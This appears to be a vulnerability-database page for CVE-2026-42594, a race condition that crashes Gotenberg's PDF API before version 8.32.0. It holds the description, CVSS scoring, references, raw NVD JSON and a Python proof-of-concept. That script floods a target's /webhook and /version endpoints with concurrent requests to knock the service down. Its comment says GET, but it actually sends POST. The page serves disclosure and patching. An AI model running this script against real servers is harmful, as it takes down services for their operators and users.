CVE-2026-42594

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.32.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import asyncio
import aiohttp

async def send_request(session, url, endpoint):
    try:
        async with session.post(url + endpoint) as resp:
            pass
    except Exception:
        pass

async def main(target_url):
    webhook_endpoint = "/webhook" # Adjust based on actual config
    version_endpoint = "/version"
    
    async with aiohttp.ClientSession() as session:
        tasks = []
        # Send ~24 webhook requests
        for _ in range(24):
            tasks.append(send_request(session, target_url, webhook_endpoint))
        # Send ~60 GET requests
        for _ in range(60):
            tasks.append(send_request(session, target_url, version_endpoint))
            
        await asyncio.gather(*tasks)

if __name__ == "__main__":
    import sys
    if len(sys.argv) > 1:
        target = sys.argv[1]
        asyncio.run(main(target))
    else:
        print("Usage: python poc.py <target_url>")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42594
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42594
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42594/
[4] VulDB https://vuldb.com/cve/CVE-2026-42594
[5] https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42594", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:22.613", "lastModified": "2026-05-14T16:28:04.847", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qp", "source": "[email protected]"}]}}